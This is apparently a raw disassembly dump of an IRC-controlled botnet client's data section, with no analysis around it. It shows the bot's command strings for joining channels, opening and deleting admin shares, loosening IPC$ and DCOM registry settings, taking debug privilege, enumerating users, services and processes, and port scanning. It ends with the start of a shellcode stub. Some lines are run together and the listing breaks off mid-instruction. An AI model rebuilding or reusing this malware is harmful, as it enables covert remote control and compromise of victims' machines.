		dd 2029206Ch, 2BBBB02h
aJoinedChanne_0	db '  Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_40CD3A+539o
aPart		db 'PART',0             ; DATA XREF: sub_40CD3A+4EBo
					; sub_40CD3A+5ADo
		align 10h
aSS_1		db ':%s%s',0            ; DATA XREF: sub_40CD3A+4C3o
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_40CD3A+3AFo
		align 10h
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+352o
					; sub_40CD3A+5D1o
dword_436B80	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+339o
					; sub_40CD3A+5A05o ...
		dd 2029206Ch, 2BBBB02h
aUserSLoggedO_0	db '  User %s logged out.',0
		align 4
aKick		db 'KICK',0             ; DATA XREF: sub_40CD3A+2D6o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_40CD3A+27Fo
					; sub_40CD3A+4A84o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_40CD3A+257o
a302		db '302',0              ; DATA XREF: sub_40CD3A+21Co
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+1D6o
					; sub_40CD3A+39Co ...
		align 10h
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_40CD3A+1B5o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_40CD3A+19Bo
		align 4
asc_436BF4	db ' :',0               ; DATA XREF: sub_40CD3A+86o
					; sub_40CD3A:loc_40D876o
		align 4
dword_436BF8	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_436C44	dd 3000005h, 10h, 18h, 1, 3 dup(0); ---------------------------------------------------------------------------


loc_436C60:				; DATA XREF: sub_412A1D+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_436C74	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_412A1D+13Fo
dword_436C88	dd 25207325h, 253A2073h, 0A0D73h, 0off_436C98	dd offset aAdd		; DATA XREF: sub_412C6C+6Dr
					; sub_413053+50r ...
					; "Add"
off_436C9C	dd offset aAdded	; DATA XREF: sub_412C6C+2Dr
					; sub_413053+82r ...
					; "Added"
dword_436CA0	dd 0				dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_0	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 436D0Ch, 436D04h,	2, 436CF8h, 436CECh, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: .text:00436CCCo
aStop_0		db 'Stop',0             ; DATA XREF: .text:00436CC8o
		align 4
aStarted	db 'Started',0          ; DATA XREF: .text:00436CC0o
aStart_0	db 'Start',0            ; DATA XREF: .text:00436CBCo
		align 4
aListed		db 'Listed',0           ; DATA XREF: .text:00436CB4o
		align 4
aList_0		db 'List',0             ; DATA XREF: .text:00436CB0o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: .text:00436CA8o
aDelete_0	db 'Delete',0           ; DATA XREF: .text:00436CA4o
		align 4
aAdded		db 'Added',0            ; DATA XREF: .text:off_436C9Co
		align 4
aAdd		db 'Add',0              ; DATA XREF: .text:off_436C98o
dword_436D60	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_412C6C+74o
		dd 2029206Ch, 2BBBB02h
aSNoServiceSpec	db '  %s: No service specified.',0
dword_436D98	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_412C6C+55o
		dd 2029206Ch, 2BBBB02h
aErrorWithServi	db '  Error with service: ',27h,'%s',27h,'. %s',0
		align 4
dword_436DD4	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_412C6C+38o
		dd 2029206Ch, 2BBBB02h
aSServiceS_	db '  %s service: ',27h,'%s',27h,'.',0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_412D95+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_412D95:loc_412EADo
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_412D95:loc_412EA6o
		align 10h
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_412D95:loc_412E9Fo
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_412D95:loc_412E98o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_412D95:loc_412E91o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_412D95:loc_412E8Ao
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_412D95:loc_412E83o
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_412D95:loc_412E7Co
		align 8
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_412D95:loc_412E75o
		db 'marked for deletion.',0
		align 10h
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_412D95:loc_412E6Eo
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_412D95:loc_412E43o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_412D95:loc_412E3Co
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_412D95:loc_412E35o
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_412D95:loc_412E2Eo
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_412D95+8Fo
		align 10h
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_412D95:loc_412E03o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_412D95:loc_412DF9o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_412D95:loc_412DEFo
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_412D95:loc_412DE5o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_412D95:loc_412DDBo
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_412D95+3Co
		align 10h
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_412F13+EEo
aStopped	db '    Stopped',0      ; DATA XREF: sub_412F13:loc_412FE2o
aStarting	db '   Starting',0      ; DATA XREF: sub_412F13:loc_412FDBo
aStoping	db '    Stoping',0      ; DATA XREF: sub_412F13:loc_412FD4o
aRunning_0	db '    Running',0      ; DATA XREF: sub_412F13:loc_412FCDo
aContinuing	db ' Continuing',0      ; DATA XREF: sub_412F13:loc_412FC6o
aPausing	db '    Pausing',0      ; DATA XREF: sub_412F13:loc_412FBFo
aPaused_0	db '     Paused',0      ; DATA XREF: sub_412F13:loc_412FB8o
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_412F13+9Eo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_412F13+25o
		align 4
dword_43734C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413053+ABo
		dd 2029206Ch, 2BBBB02h
aSNoShareSpecif	db '  %s: No share specified.',0
		align 4
dword_437384	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413053+89o
		dd 2029206Ch, 2BBBB02h
aSShareS_	db '  %s share: ',27h,'%s',27h,'.',0
		align 4
dword_4373B4	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413053+57o
		dd 2029206Ch, 2BBBB02h
aSErrorWithShar	db '  %s: Error with share: ',27h,'%s',27h,'. %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_413248+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_413248+BCo
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_413248+B5o
dword_437414	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413248+76o
		dd 2029206Ch, 2BBBB02h
aShareListError	db '  Share list error: %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_413248+26o
		align 4
dword_437488	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413369+B6o
		dd 2029206Ch, 2BBBB02h
aSNoUsernameSpe	db '  %s: No username specified.',0
		align 8
dword_4374C8	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413369+94o
		dd 2029206Ch, 2BBBB02h
aSErrorWithUser	db '  %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_437508	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413369+6Do
		dd 2029206Ch, 2BBBB02h
aSUsernameS_	db '  %s username: ',27h,'%s',27h,'.',0
		align 4
dword_43753C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4134AF+394o
		dd 2029206Ch, 2BBBB02h
aUserInfoErrorL	db '  User info error: <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_4134AF+36Ao
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_4134AF+33Fo
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_4134AF+317o
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_4134AF+2ECo
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_4134AF+2C4o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_4134AF+299o
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_4134AF+271o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_4134AF+246o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_4134AF+21Eo
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_4134AF+1F3o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_4134AF+1CBo
		align 10h
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_4134AF+1A0o
		align 10h
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_4134AF+178o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_4134AF+14Do
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_4134AF+125o
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_4134AF+D4o
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_4134AF+ACo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_4134AF+81o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_4134AF+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_41387D+145o
		align 4
dword_4376EC	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_41387D:loc_41396Ao
		dd 2029206Ch, 2BBBB02h
aAnAccessViolat	db '  An access violation has occured.',0
		align 4
aS_5		db '  %S',0             ; DATA XREF: sub_41387D+BAo
		align 4
dword_437734	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_41387D+7Ao
		dd 2029206Ch, 2BBBB02h
aUserListErrorS	db '  User list error: %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_41387D+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_4139F3:loc_413B10o
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_4139F3:loc_413B09o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_4139F3:loc_413B02o
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_4139F3:loc_413AFBo
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_4139F3:loc_413AF4o
		align 8
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_4139F3:loc_413AD7o
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_4139F3:loc_413AD0o
		align 10h
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_4139F3:loc_413AC9o
		align 8
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_4139F3+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_4139F3:loc_413A9Eo
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_4139F3:loc_413A97o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_4139F3:loc_413A90o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4139F3:loc_413A86o
		align 10h
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_4139F3+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_4139F3:loc_413A60o
		align 10h
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_4139F3:loc_413A56o
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_4139F3:loc_413A4Co
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_4139F3:loc_413A42o
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_4139F3:loc_413A38o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_4139F3+3Bo
		align 4
dword_437A58	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413B27+ABo
		dd 2029206Ch, 2BBBB02h
aSServerSMessag	db '  %s <Server: %S> <Message: %S>',0
dword_437A94	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413B27+81o
		dd 2029206Ch, 2BBBB02h
aMessageSentSuc	db '  Message sent successfully.',0
		align 10h
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_413C50+119o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_413C50+4Eo
					; sub_413C50+99o
		align 10h
dword_437AF0	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_413DFD:loc_413E8Ao
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListFai	db '  Process list failed.',0
		align 4
dword_437B28	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_413DFD+86o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListCom	db '  Process list completed.',0
		align 4
dword_437B64	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_413DFD+19o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aListingProcess	db '  Listing processes:',0
		align 10h
dword_437BA0	dd 736E6F63h			dd 74h,	0
dword_437BAC	dd 1		off_437BB0	dd offset sub_413F42	; DATA XREF: sub_414278+4Ar
aLetter		db 'letter',0
		align 10h
		dd 2, 413FA0h, 706D6F63h, 2 dup(0)
		dd 3, 413FEDh, 6E756F63h, 797274h, 0
		dd 4, 41405Ch, 736Fh, 2	dup(0)
		dd 5, 4140D1h
dword_437C04	dd 69257325h, 0						; .text:0041403Do ...
dword_437C0C	dd 4350h	dword_437C10	dd 7C7325h	dword_437C14	dd 5D73255Bh, 7Chdword_437C1C	dd 334B32h	dword_437C20	dd 5D64255Bh, 7325hdword_437C28	dd 5D4D5Bh						; sub_4141DB+51o
unk_437C2C	db    2			; DATA XREF: sub_4142E2+92o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOp_0	db '  IP: %s Port: %d is open.',0
unk_437C68	db    2			; DATA XREF: sub_4143AF+41o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanningIpSPor	db '  Scanning IP: %s, Port: %d.',0
		align 4
off_437CA8	dd offset dword_437CE0	; DATA XREF: sub_414500:loc_4146B5r
					; sub_414500+1C3r ...
dword_437CAC	dd 0				dd offset dword_437CD8
		align 8
		dd offset dword_437CD4
		dd offset dword_437CD0
		dd offset dword_437CCC
		dd offset dword_437CC8
dword_437CC8	dd 5C3A44h	dword_437CCC	dd 2444h	dword_437CD0	dd 5C3A43h	dword_437CD4	dd 2443h	dword_437CD8	dd 494D4441h, 244Ehdword_437CE0	dd 24435049h, 0	unk_437CE8	db    2			; DATA XREF: sub_414500+2E7o
					; sub_414826+2DDo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetapi32_dllCo	db ' Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_437D2C	db    2			; DATA XREF: sub_414500+2D1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesD	db ' Network shares deleted.',0
		align 4
unk_437D68	db    2			; DATA XREF: sub_414500:loc_41476Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDelete	db ' Failed to delete ',27h,'%S',27h,' share.',0
		align 4
unk_437DA8	db    2			; DATA XREF: sub_414500+263o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDeleted_	db ' Share ',27h,'%S',27h,' deleted.',0
		align 10h
unk_437DE0	db    2			; DATA XREF: sub_414500:loc_4146DAo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDele_0	db ' Failed to delete ',27h,'%s',27h,' share.',0
		align 10h
unk_437E20	db    2			; DATA XREF: sub_414500+1D3o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDelete_0	db ' Share ',27h,'%s',27h,' deleted.',0
		align 4
unk_437E58	db    2			; DATA XREF: sub_414500:loc_414632o
					; sub_414826:loc_414954o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAdvapi32_dllCo	db ' Advapi32.dll couldn',27h,'t be loaded.',0
		align 10h
unk_437EA0	db    2			; DATA XREF: sub_414500:loc_41462Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenIp	db ' Failed to open IPC$ Restriction registry key.',0
		align 10h
unk_437EF0	db    2			; DATA XREF: sub_414500:loc_414613o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aRestrictedAcce	db ' Restricted access to the IPC$ Share.',0
		align 4
unk_437F38	db    2			; DATA XREF: sub_414500+10Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToRestri	db ' Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_414500+EDo
					; sub_414826+EDo
		align 10h
unk_437FA0	db    2			; DATA XREF: sub_414500+91o
					; sub_414826+91o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenDc	db ' Failed to open DCOM registry key.',0
		align 4
dword_437FE4	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: sub_414500:loc_414573o
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 4F434420h, 6964204Dh
		dd 6C626173h, 2E6465h
unk_438014	db    2			; DATA XREF: sub_414500+6Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDisableDcomFai	db ' Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_414500+54o
					; sub_414826+54o
		align 4
word_438058	dw 4Eh			; DATA XREF: sub_414500+38r
		align 4
unk_43805C	db    2			; DATA XREF: sub_414826+2C5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesA	db ' Network shares added.',0
		align 4
aC_2		db '%c:\',0             ; DATA XREF: sub_414826+22Fo
		align 4
aC_3		db '%c$',0              ; DATA XREF: sub_414826+21Eo
unk_4380A0	db    2			; DATA XREF: sub_414826:loc_4149D3o
					; sub_414826:loc_414A9Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToAddSSh	db ' Failed to add ',27h,'%s',27h,' share.',0
		align 4
unk_4380DC	db    2			; DATA XREF: sub_414826+1A6o
					; sub_414826+271o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSAdded_	db ' Share ',27h,'%s',27h,' added.',0
		align 10h
unk_438110	db    2			; DATA XREF: sub_414826:loc_41494Do
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpen_0	db ' Failed to open IPC$ restriction registry key.',0
		align 10h
unk_438160	db    2			; DATA XREF: sub_414826:loc_414935o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aUnrestrictedAc	db ' Unrestricted access to the IPC$ Share.',0
unk_4381A8	db    2			; DATA XREF: sub_414826+108o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToUnrest	db ' Failed to unrestrict access to the IPC$ Share.',0
dword_4381F8	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: sub_414826:loc_414899o
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 4F434420h, 6E65204Dh
		dd 656C6261h, 2E64h
unk_438228	db    2			; DATA XREF: sub_414826+6Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aEnableDcomFail	db ' Enable DCOM failed.',0
		align 10h
word_438260	dw 59h			; DATA XREF: sub_414826+38r
		align 8


loc_438268:				; DATA XREF: sub_414CD9+BEo
		jmp	short loc_43826C
; ---------------------------------------------------------------------------


loc_43826A:				; CODE XREF: .text:loc_43826Cp
		jmp	short loc_438271
; ---------------------------------------------------------------------------


loc_43826C:				; CODE XREF: .text:loc_438268j
		call	loc_43826A


loc_438271:				; CODE XREF: .text:loc_43826Aj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
